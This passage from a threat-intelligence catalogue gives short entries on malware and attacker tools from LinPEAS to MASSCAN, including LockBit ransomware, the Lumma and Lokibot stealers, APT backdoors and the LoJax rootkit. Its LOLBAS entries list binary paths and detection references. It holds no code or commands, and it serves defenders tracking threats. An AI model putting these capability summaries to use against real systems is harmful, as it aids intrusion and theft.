LinPEAS is an open-source tool used to search for privilege escalation paths on target systems. In 2023, CrowdStrike researchers reported they observed a three times increase in the tool's use by adversaries.^{[[CrowdStrike 2023 Threat Hunting Report](/references/de69b138-4b4d-4eef-98af-0fd96f8036a1)]}

The tag is: *misp-galaxy:software="LinPEAS"*

Linux Rabbit

[Linux Rabbit](https://app.tidalcyber.com/software/d017e133-fce9-4982-a2df-6867a80089e7) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.^{[[Anomali Linux Rabbit 2018](https://app.tidalcyber.com/references/e843eb47-21b0-44b9-8065-02aea0a0b05f)]}

The tag is: *misp-galaxy:software="Linux Rabbit"*

LiteDuke

[LiteDuke](https://app.tidalcyber.com/software/71e4028c-9ca1-45ce-bc44-98209ae9f6bd) is a third stage backdoor that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447), primarily in 2014-2015. [LiteDuke](https://app.tidalcyber.com/software/71e4028c-9ca1-45ce-bc44-98209ae9f6bd) used the same dropper as [PolyglotDuke](https://app.tidalcyber.com/software/3b7179fa-7b8b-4068-b224-d8d9c642964d), and was found on machines also compromised by [MiniDuke]([ESET Dukes October 2019 (https://app.tidalcyber.com/references/fbc77b85-cc5a-4c65-956d-b8556974b4ef)]</sup>

The tag is: *misp-galaxy:software="LiteDuke"*

LitePower

[LitePower](https://app.tidalcyber.com/software/cc568409-71ff-468b-9c38-d0dd9020e409) is a downloader and second stage malware that has been used by [WIRTE](https://app.tidalcyber.com/groups/73da066d-b25f-45ba-862b-1a69228c6baa) since at least 2021.^{[[Kaspersky WIRTE November 2021](https://app.tidalcyber.com/references/143b4694-024d-49a5-be3c-d9ceca7295b2)]}

The tag is: *misp-galaxy:software="LitePower"*

LITTLELAMB.WOOLTEA

[LITTLELAMB.WOOLTEA](https://app.tidalcyber.com/software/c9c5e7ad-6e95-5d53-b4db-f6b51c7167ca) is a backdoor that was used by UNC5325 during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.^{[[Mandiant Cutting Edge Part 3 February 2024](https://app.tidalcyber.com/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="LITTLELAMB.WOOLTEA"*

Lizar

[Lizar](https://app.tidalcyber.com/software/65d46aab-b3ce-4f5b-b1fc-871db2573fa1) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d). It has likely been used by [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) since at least February 2021.^{[[BiZone Lizar May 2021](https://app.tidalcyber.com/references/315f47e1-69e5-4dcb-94b2-59583e91dd26)]}^{[[Threatpost Lizar May 2021](https://app.tidalcyber.com/references/1b89f62f-586d-4dee-b6dd-e5a5cd090a0e)]}^{[[Gemini FIN7 Oct 2021](https://app.tidalcyber.com/references/bbaef178-8577-4398-8e28-604faf0950b4)]}

The tag is: *misp-galaxy:software="Lizar"*

LocalOlive

A web shell used by Seashell Blizzard for command and control and deploying additional utilities.^{[[Microsoft Security Blog February 12 2025](/references/300bf6cb-582b-4e15-8cca-cb68c8856e6f)]}

The tag is: *misp-galaxy:software="LocalOlive"*

LockBit 2.0

[LockBit 2.0](https://app.tidalcyber.com/software/995bcd8e-85c3-5fb2-8e00-677a029c102a) is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the

successor to LockBit Ransomware. [LockBit 2.0](https://app.tidalcyber.com/software/995bcd8e-85c3-5fb2-8e00-677a029c102a) has versions capable of infecting Windows and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.^{[[FBI Lockbit 2.0 FEB 2022](https://app.tidalcyber.com/references/9fdd9ea7-57f3-5f6a-84c8-b8bce20a85bf)]}^{[[Palo Alto Lockbit 2.0 JUN 2022](https://app.tidalcyber.com/references/bc81e2f1-b1f3-5df0-ab51-116818d72d9d)]}

The tag is: *misp-galaxy:software="LockBit 2.0"*

LockBit 3.0

[LockBit 3.0](https://app.tidalcyber.com/software/57c0c072-50b9-5adb-ae2e-99c5f13807d1) is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and [BlackCat](https://app.tidalcyber.com/software/691369e5-ef74-5ff9-bc20-34efeb4b6c5b) ransomware. [LockBit 3.0](https://app.tidalcyber.com/software/57c0c072-50b9-5adb-ae2e-99c5f13807d1) has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as [LockBit 2.0](([Sentinel Labs LockBit 3.0 JUL 2022(https://app.tidalcyber.com/references/04c8f812-14a1-5ecd-b174-e4ae4e3e83cf)]</sup>^{[[Joint Cybersecurity Advisory LockBit JUN 2023](https://app.tidalcyber.com/references/44265bd3-ae1f-5826-aee9-009432f6ab46)]}^{[[Joint Cybersecurity Advisory LockBit 3.0 MAR 2023](https://app.tidalcyber.com/references/b08902da-d993-51eb-acbf-8ac410bc6cb0)]}^{[[INCIBE-CERT LockBit MAR 2024](https://app.tidalcyber.com/references/d0cc2383-b30c-526a-8fa0-0991340b4e73)]}

The tag is: *misp-galaxy:software="LockBit 3.0"*

LockBit 3.0 (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "LockBit 3.0" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Ransomware labeled “LockBit” was first observed in 2020, and since that time, the LockBit group and its affiliates have carried out a very large number of attacks involving a wide range of victims around the world.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

LockBit developers have introduced multiple versions of the LockBit encryption tool. According to the U.S. Cybersecurity and Infrastructure Security Agency (“CISA”), the following major LockBit variants have been observed (first-observed dates in parentheses): ABCD (LockBit malware’s predecessor; September 2019), LockBit (January 2020), LockBit 2.0 (June 2021), LockBit Linux-ESXi Locker (October 2021), LockBit 3.0 (September 2022), LockBit Green (a variant that incorporates source code from Conti ransomware; January 2023), and variants capable of targeting macOS environments (April 2023). As of June 2023, CISA reported that the web panel that offers affiliates access to LockBit malware explicitly listed the LockBit 2.0, LockBit 3.0, LockBit Green, and LockBit

Linux-ESXi Locker variants.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]} According to CISA, LockBit 3.0 (also known as “LockBit Black”) shares code similarities with Blackmatter and BlackCat ransomware and is “more modular and evasive" than previous LockBit strains.^{[[U.S. CISA LockBit 3.0 March 2023](/references/06de9247-ce40-4709-a17a-a65b8853758b)]}

According to data collected by the [ransomwatch project](https://github.com/joshhighet/ransomwatch) and analyzed by Tidal, LockBit actors publicly claimed 970 victims in 2022 (394 associated with LockBit 3.0), the most of any extortion threat that year. Through April 2023, LockBit had claimed 406 victims (all associated with LockBit 3.0), more than double the number of the next threat (Clop, with 179 victims).^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

Delivered By: Cobalt Strike^{[[Sentinel Labs LockBit 3.0 July 2022](/references/9a73b140-b483-4274-a134-ed1bb15ac31c)]}, PsExec^{[[NCC Group Research Blog August 19 2022](/references/8c1fbe98-5fc1-4e67-9b96-b740ffc9b1ae)]}

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit

Malware Bazaar (Samples & IOCs): https://bazaar.abuse.ch/browse/tag/lockbit/

PulseDive (IOCs): https://pulsedive.com/threat/LockBit

The tag is: *misp-galaxy:software="LockBit 3.0 (Deprecated)"*

LockBit 4.0

LockBit Ransomware v4.0 is a ransomware variant that implements a hybrid-cryptography approach, combining Curve25519 with XChaCha20 for its file encryption scheme. It is known for its fast encryption speed and uses various anti-analysis techniques.^{[[Chuong Dong March 15 2025](/references/a49936db-f04e-4eeb-8bb5-d535cf7c3776)]}

The tag is: *misp-galaxy:software="LockBit 4.0"*

LockerGoga

[LockerGoga](https://app.tidalcyber.com/software/65bc8e81-0a08-49f6-9d04-a2d63d512342) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.^{[[Unit42 LockerGoga 2019](https://app.tidalcyber.com/references/8f058923-f2f7-4c0e-b90a-c7a0d5e62186)]}^{[[CarbonBlack LockerGoga 2019](https://app.tidalcyber.com/references/9970063c-6df7-4638-a247-6b1102289372)]}

The tag is: *misp-galaxy:software="LockerGoga"*

LODEINFO

A backdoor used by MirrorFace for espionage and exfiltration, capable of capturing screenshots, keylogging, killing processes, exfiltrating files, and executing additional files and

commands.^{[[ESET MirrorFace December 14 2022](/references/e1896c15-8f19-43e4-96b0-cfd442966b28)]}

The tag is: *misp-galaxy:software="LODEINFO"*

LoFiSe

[LoFiSe](https://app.tidalcyber.com/software/d28c3706-df25-59e2-939f-131abaf8a1eb) has been used by [ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-ba6e-ee658a985e1b) since at least 2023 to identify and collect files of interest on targeted systems.^{[[Kaspersky ToddyCat Check Logs October 2023](https://app.tidalcyber.com/references/dbdaf320-eada-5bbb-95ab-aaa987ed7960)]}

The tag is: *misp-galaxy:software="LoFiSe"*

LogMeIn

LogMeIn provides multiple freely available tools that can be used for remote access to systems, including the flagship Rescue tool.^{[[LogMeIn Homepage](/references/e113b544-82ad-4099-ab4e-7fc8b78f54bd)]} Adversary groups, including the Royal ransomware operation and LAPSUS$, have used LogMeIn remote access software for initial access to and persistence within victim networks.^{[[CISA Royal AA23-061A March 2023](/references/81baa61e-13c3-51e0-bf22-08383dbfb2a1)]}^{[[CSRB LAPSUS$ July 24 2023](/references/f8311977-303c-4d05-a7f4-25b3ae36318b)]}

The tag is: *misp-galaxy:software="LogMeIn"*

LoJax

[LoJax](https://app.tidalcyber.com/software/039f34e9-f379-4a24-a53f-b28ba579854c) is a UEFI rootkit used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) to persist remote access software on targeted systems.^{[[ESET LoJax Sept 2018](https://app.tidalcyber.com/references/bb938fea-2b2e-41d3-a55c-40ea34c00d21)]}

The tag is: *misp-galaxy:software="LoJax"*

Lokibot

[Lokibot](https://app.tidalcyber.com/software/4fead65c-499d-4f44-8879-2c35b24dac68) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://app.tidalcyber.com/software/4fead65c-499d-4f44-8879-2c35b24dac68) can also create a backdoor into infected systems to allow an attacker to install additional payloads.^{[[Infoblox Lokibot January 2019](https://app.tidalcyber.com/references/17ab0f84-a062-4c4f-acf9-e0b8f81c3cda)]}^{[[Morphisec Lokibot April 2020](https://app.tidalcyber.com/references/e938bab1-7dc1-4a78-b1e2-ab2aa0a83eb0)]}<sup>[[CISA Lokibot September 2020](https://app.tidalcyber.com/references/

df979f7b-6de8-4029-ae47-700f29157db0)]</sup>

The tag is: *misp-galaxy:software="Lokibot"*

LookBack

[LookBack](https://app.tidalcyber.com/software/bfd2a077-5000-4500-82c4-5c85fb98dd5a) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack]([Proofpoint LookBack Malware Aug 2019(https://app.tidalcyber.com/references/77887f82-7815-4a91-8c8a-f77dc8a9ba53)]</sup>^{[[Dragos TALONITE](https://app.tidalcyber.com/references/f8ef1920-a4ad-4d65-b9de-8357d75f6929)]}^{[[Dragos Threat Report 2020](https://app.tidalcyber.com/references/8bb3147c-3178-4449-9978-f1248b1bcb0a)]}

The tag is: *misp-galaxy:software="LookBack"*

LOOKOVER

LOOKOVER is a sniffer written in C that processes TACACS+ authentication packets, performs decryption, and writes its contents to a specified file path. LOOKOVER uses the publicly available libpcap library to sniff TCP packets.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="LOOKOVER"*

LostMyPassword

LostMyPassword is a tool used to recover passwords from Windows systems.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="LostMyPassword"*

LoudMiner

[LoudMiner](https://app.tidalcyber.com/software/f503535b-406c-4e24-8123-0e22fec995bb) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.^{[[ESET LoudMiner June 2019](https://app.tidalcyber.com/references/f1e4ff9e-cb6c-46cc-898e-5f170bb5f634)]}

The tag is: *misp-galaxy:software="LoudMiner"*

LOWBALL

[LOWBALL](https://app.tidalcyber.com/software/fce1117a-e699-4aef-b1fc-04c3967acc33) is malware used by [admin@338](https://app.tidalcyber.com/groups/8567136b-f84a-45ed-8cce-46324c7da60e). It was used in August 2015 in email messages targeting Hong Kong-based media organizations.

^{[[FireEye admin@338](https://app.tidalcyber.com/references/f3470275-9652-440e-914d-ad4fc5165413)]}

The tag is: *misp-galaxy:software="LOWBALL"*

Lslsass

[Lslsass](https://app.tidalcyber.com/software/37a5ae23-3da5-4cbc-a21a-a7ef98a3b7cc) is a publicly-available tool that can dump active logon session password hashes from the lsass process. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="Lslsass"*

Lucifer

[Lucifer](https://app.tidalcyber.com/software/723d9a27-74fd-4333-a8db-63df2a8b4dd4) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.^{[[Unit 42 Lucifer June 2020](https://app.tidalcyber.com/references/3977a87a-2eab-4a67-82b2-10c9dc7e4554)]}

The tag is: *misp-galaxy:software="Lucifer"*

Lumar Stealer

Lumar is an information stealer written in C that was first advertised for sale in underground forums in July 2023.^{[[Kaspersky October 24 2023](/references/0f9fca8c-4ab8-41e8-b034-3a1f41f5cb0d)]}

The tag is: *misp-galaxy:software="Lumar Stealer"*

Lumma Stealer

[Lumma Stealer](https://app.tidalcyber.com/software/81bcfedd-3e9f-5023-8021-2251e8f06636) is an information stealer malware family in use since at least 2022. [Lumma Stealer](https://app.tidalcyber.com/software/81bcfedd-3e9f-5023-8021-2251e8f06636) is a Malware as a Service (MaaS) where captured data has been sold in criminal markets to Initial Access Brokers.^{[[Cybereason LumaStealer Undated](https://app.tidalcyber.com/references/3e299bbd-ef03-517a-95a6-4cbfb6eb2369)]}^{[[Netskope LummaStealer 2025](https://app.tidalcyber.com/references/1bddd8eb-b306-5ce9-ad3b-1e34228b7696)]}^{[[Qualys LummaStealer 2024](https://app.tidalcyber.com/references/7217dae8-52c1-5ddd-80a0-3fe8719c6724)]}^{[[Fortinet LummaStealer 2024](https://app.tidalcyber.com/references/3a2ead89-2e03-5c4f-b59a-c75aec54da22)]}^{[[TrendMicro LummaStealer 2025](https://app.tidalcyber.com/references/a23bb029-0652-57e8-b25a-17a7c58bc41f)]}

The tag is: *misp-galaxy:software="Lumma Stealer"*

Lumma Stealer (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Lumma Stealer" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Lumma Stealer (aka LummaC2) is an infostealer malware written in C, which actors have marketed on underground forums since December 2022.^{[[Outpost24 April 5 2023](/references/60bd2e39-744c-44e7-b417-0ef0a768f7b6)]}

The tag is: *misp-galaxy:software="Lumma Stealer (Deprecated)"*

LunarLoader

[LunarLoader](https://app.tidalcyber.com/software/e8e81e32-27b4-5830-94cb-a07ca1124296) is the loader component for the [LunarWeb](https://app.tidalcyber.com/software/6b231f41-51b7-5c78-afd5-6cb73a698045) and [LunarMail](https://app.tidalcyber.com/software/8fa2c759-a03f-5044-a125-0b66fba054de) backdoors that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://app.tidalcyber.com/software/e8e81e32-27b4-5830-94cb-a07ca1124296) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.^{[[ESET Turla Lunar toolset May 2024](https://app.tidalcyber.com/references/85040d41-b786-5b63-a510-976bc35e8fce)]}

The tag is: *misp-galaxy:software="LunarLoader"*

LunarMail

[LunarMail](https://app.tidalcyber.com/software/8fa2c759-a03f-5044-a125-0b66fba054de) is a backdoor that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://app.tidalcyber.com/software/e8e81e32-27b4-5830-94cb-a07ca1124296) and [LunarWeb](https://app.tidalcyber.com/software/6b231f41-51b7-5c78-afd5-6cb73a698045). [LunarMail](https://app.tidalcyber.com/software/8fa2c759-a03f-5044-a125-0b66fba054de) is designed to be deployed on workstations and can use email messages and [Steganography](https://app.tidalcyber.com/technique/2735f8d1-0e46-4cd7-bfbb-78941bb266fd) in command and control.^{[[ESET Turla Lunar toolset May 2024](https://app.tidalcyber.com/references/85040d41-b786-5b63-a510-976bc35e8fce)]}

The tag is: *misp-galaxy:software="LunarMail"*

LunarWeb

[LunarWeb](https://app.tidalcyber.com/software/6b231f41-51b7-5c78-afd5-6cb73a698045) is a backdoor that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2020 including in a compromise of a European ministry of foreign

affairs (MFA) together with [LunarLoader](https://app.tidalcyber.com/software/e8e81e32-27b4-5830-94cb-a07ca1124296) and [LunarMail](https://app.tidalcyber.com/software/8fa2c759-a03f-5044-a125-0b66fba054de). [LunarWeb](https://app.tidalcyber.com/software/6b231f41-51b7-5c78-afd5-6cb73a698045) has only been observed deployed against servers and can use [Steganography](https://app.tidalcyber.com/technique/2735f8d1-0e46-4cd7-bfbb-78941bb266fd) to obfuscate command and control.^{[[ESET Turla Lunar toolset May 2024](https://app.tidalcyber.com/references/85040d41-b786-5b63-a510-976bc35e8fce)]}

The tag is: *misp-galaxy:software="LunarWeb"*

Lurid

[Lurid](https://app.tidalcyber.com/software/0cc9e24b-d458-4782-a332-4e4fd68c057b) is a malware family that has been used by several groups, including [PittyTiger](https://app.tidalcyber.com/groups/60936d3c-37ed-4116-a407-868da3aa4446), in targeted attacks as far back as 2006. ^{[[Villeneuve 2014](https://app.tidalcyber.com/references/a156e24e-0da5-4ac7-b914-29f2f05e7d6f)]} ^{[[Villeneuve 2011](https://app.tidalcyber.com/references/ed5a2ec0-8328-40db-9f58-7eaac4ad39a0)]}

The tag is: *misp-galaxy:software="Lurid"*

Lynx Ransomware

Lynx is a Windows-focused ransomware that was identified in July 2024. Rapid7 researchers note potential code similarities between Lynx and INC ransomware.^{[[Rapid7 Blog September 12 2024](/references/21d393ae-d135-4c5a-8c6d-1baa8c0a1e08)]}

The tag is: *misp-galaxy:software="Lynx Ransomware"*

Machete

[Machete](https://app.tidalcyber.com/software/be8a1630-9562-41ad-a621-65989f961a10) is a cyber espionage toolset used by [Machete](https://app.tidalcyber.com/groups/a3be79a2-3d4f-4697-a8a1-83f0884220af). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.^{[[ESET Machete July 2019](https://app.tidalcyber.com/references/408d5e33-fcb6-4d21-8be9-7aa5a8bd3385)]}^{[[Securelist Machete Aug 2014](https://app.tidalcyber.com/references/fc7be240-bd15-4ec4-bc01-f8891d7210d9)]}^{[[360 Machete Sep 2020](https://app.tidalcyber.com/references/682c843d-1bb8-4f30-9d2e-35e8d41b1976)]}

The tag is: *misp-galaxy:software="Machete"*

MacMa

[MacMa](https://app.tidalcyber.com/software/7e5a643d-ebfd-4ec6-9fdc-79d6f47fafdb) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://app.tidalcyber.com/software/7e5a643d-ebfd-4ec6-9fdc-79d6f47fafdb) has been observed in the wild since November 2021.<sup>[[ESET DazzleSpy Jan

2022](https://app.tidalcyber.com/references/212012ac-9084-490f-8dd2-5cc9ac6e6de1)]</sup> [MacMa](https://app.tidalcyber.com/software/7e5a643d-ebfd-4ec6-9fdc-79d6f47fafdb) shares command and control and unique libraries with [MgBot](https://app.tidalcyber.com/software/df390ec3-6557-524d-8a89-3fceff24ca96) and [Nightdoor](https://app.tidalcyber.com/software/858084e7-41ba-53f8-b530-0286bf4ea764), indicating a relationship with the [Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) threat actor.^{[[Symantec Daggerfly 2024](https://app.tidalcyber.com/references/1dadd09e-e7b0-50a1-ba3d-413780dbeb80)]}

The tag is: *misp-galaxy:software="MacMa"*

macOS.OSAMiner

[macOS.OSAMiner](https://app.tidalcyber.com/software/74feb557-21bc-40fb-8ab5-45d3af84c380) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://app.tidalcyber.com/software/74feb557-21bc-40fb-8ab5-45d3af84c380) may have been circulating since at least 2015. [macOS.OSAMiner](https://app.tidalcyber.com/software/74feb557-21bc-40fb-8ab5-45d3af84c380) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.^{[[SentinelLabs reversing run-only applescripts 2021](https://app.tidalcyber.com/references/34dc9010-e800-420c-ace4-4f426c915d2f)]}^{[[VMRay OSAMiner dynamic analysis 2021](https://app.tidalcyber.com/references/47a5d32d-e6a5-46c2-898a-e45dc42371be)]}

The tag is: *misp-galaxy:software="macOS.OSAMiner"*

MacSpy

[MacSpy](https://app.tidalcyber.com/software/e5e67c67-e658-45b5-850b-044312be4258) is a malware-as-a-service offered on the darkweb ^{[[objsee mac malware 2017](https://app.tidalcyber.com/references/08227ae5-4086-4c31-83d9-459c3a097754)]}.

The tag is: *misp-galaxy:software="MacSpy"*

Mafalda

[Mafalda](https://app.tidalcyber.com/software/7506616c-b808-54fb-9982-072a0dcf8a04) is a flexible interactive implant that has been used by [Metador](https://app.tidalcyber.com/groups/a3a3a1d3-7fe7-5578-8c5f-9c0f2f68079b). Security researchers assess the [Mafalda](https://app.tidalcyber.com/software/7506616c-b808-54fb-9982-072a0dcf8a04) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. ^{[[SentinelLabs Metador Sept 2022](https://app.tidalcyber.com/references/137474b7-638a-56d7-9ce2-ab906f207175)]}

The tag is: *misp-galaxy:software="Mafalda"*

MagicRAT

[MagicRAT](https://app.tidalcyber.com/software/1408a1dd-f889-5024-be7f-9deb77b06882) is a remote access tool developed in C++ and exclusively used by the [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) threat actor in operations. [MagicRAT](https://app.tidalcyber.com/software/1408a1dd-f889-5024-be7f-9deb77b06882) allows for arbitrary command execution on victim machines and provides basic remote access functionality.^{[[Cisco MagicRAT 2022](https://app.tidalcyber.com/references/6dc427b1-7b0f-50b8-bbec-bab2f526fe0e)]}

The tag is: *misp-galaxy:software="MagicRAT"*

MAGICSPELL

MAGICSPELL is a downloader malware observed during an attack linked to UAC-0168 reported by the Ukrainian CERT.^{[[CERT-UA Alert July 5 2023](/references/d7694540-fe19-44c7-a9e2-205a0e630878)]}

The tag is: *misp-galaxy:software="MAGICSPELL"*

MailSniper

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.^{[[GitHub MailSniper](https://app.tidalcyber.com/references/50595548-b0c6-49d1-adab-43c8969ae716)]}

The tag is: *misp-galaxy:software="MailSniper"*

Makecab

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary to package existing files into a cabinet (.cab) file

Author: Oddvar Moe

Paths: * C:\Windows\System32\makecab.exe * C:\Windows\SysWOW64\makecab.exe

Resources: * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Detection: * Sigma: [proc_creation_win_susp_alternate_data_streams.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/

process_creation/proc_creation_win_susp_alternate_data_streams.yml) * Elastic: [defense_evasion_misc_lolbin_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml) * IOC: Makecab retrieving files from Internet * IOC: Makecab storing data into alternate data streams^{[[Makecab.exe - LOLBAS Project](/references/6473e36b-b5ad-4254-b46d-38c53ccbe446)]}

The tag is: *misp-galaxy:software="Makecab"*

Mallox Ransomware

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="Mallox Ransomware"*

Manage-bde

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Script for managing BitLocker

Author: Oddvar Moe

Paths: * C:\Windows\System32\manage-bde.wsf

Resources: * https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712 * https://twitter.com/bohops/status/980659399495741441 * https://twitter.com/JohnLaTwC/status/1223292479270600706

Detection: * Sigma: [proc_creation_win_lolbin_manage_bde.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml) * IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations^{[[Manage-bde.wsf - LOLBAS Project](/references/74d5483e-2268-464c-a048-bb1f25bbfc4f)]}

The tag is: *misp-galaxy:software="Manage-bde"*

Mango

[Mango](https://app.tidalcyber.com/software/5d966408-4206-536d-828f-dcc340dae746) is a first-stage backdoor written in C#/.NET that was used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) during the [Juicy Mix](https://app.tidalcyber.com/

campaigns/afa9af31-e824-5924-b1fe-87b5fd0be2cc) campaign. [Mango](https://app.tidalcyber.com/software/5d966408-4206-536d-828f-dcc340dae746) is the successor to [Solar](https://app.tidalcyber.com/software/d168da01-86ca-5392-80fb-4488b41ea704) and includes additional exfiltration capabilities, the use of native APIs, and added detection evasion code.^{[[ESET OilRig Campaigns Sep 2023](https://app.tidalcyber.com/references/799db594-6a65-5b80-9d64-c530fadbd9ae)]}

The tag is: *misp-galaxy:software="Mango"*

Mango (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Mango" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

A backdoor capability associated with Iran-linked espionage group OilRig.^{[[ESET OilRig September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]}

The tag is: *misp-galaxy:software="Mango (Deprecated)"*

Manjusaka

[Manjusaka](https://app.tidalcyber.com/software/1821edd4-7554-5de8-8a22-9f4d49a4917d) is a Chinese-language intrusion framework, similar to [Sliver](https://app.tidalcyber.com/software/bbd16b7b-7e35-4a11-86ff-9b19e17bdab3) and [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://app.tidalcyber.com/software/1821edd4-7554-5de8-8a22-9f4d49a4917d) consists of multiple components, only one of which (a command and control module) is freely available.^{[[Talos Manjusaka 2022](https://app.tidalcyber.com/references/5dd749c8-deff-5813-a7d4-80760bb5e999)]}

The tag is: *misp-galaxy:software="Manjusaka"*

Mario Ransomware

Mario ransomware is operated by Ransom House, a group that emerged in 2021. Ransom House initially claimed that they target vulnerable networks to steal data without encrypting files. However, the group has since adopted cryptographic lockers. The verbose ransom note content is the most unique part of Mario's ESXi locker. The Ransom House actors provide very explicit instructions to the victim explaining what to do and how to contact the actors.^{[[SentinelOne May 11 2023](/references/2a834777-65b1-4afe-9528-c69d8bbcab6b)]}^{[[Trellix RansomHouse February 14 2024](/references/47214846-49b2-44a1-a696-cca24d9caa56)]}

The tag is: *misp-galaxy:software="Mario Ransomware"*

MarkiRAT

[MarkiRAT](https://app.tidalcyber.com/software/40806539-1496-4a64-b740-66f6a1467f40) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://app.tidalcyber.com/groups/275ca7b0-3b21-4c3a-8b6f-57b6f0ffb6fb) since at least 2015.^{[[Kaspersky Ferocious Kitten Jun 2021](https://app.tidalcyber.com/references/b8f8020d-3f5c-4b5e-8761-6ecdd63fcd50)]}

The tag is: *misp-galaxy:software="MarkiRAT"*

MASSCAN

According to its GitHub project page, MASSCAN is an "Internet-scale" TCP port scanner. Its usage is similar to that of the popular nmap scanning tool, but it is designed to be operated at a larger scale.^{[[GitHub masscan](/references/7ae0b5c6-c9e5-4922-9e98-6483c81a8b42)]}

The tag is: *misp-galaxy:software="MASSCAN"*

Matryoshka

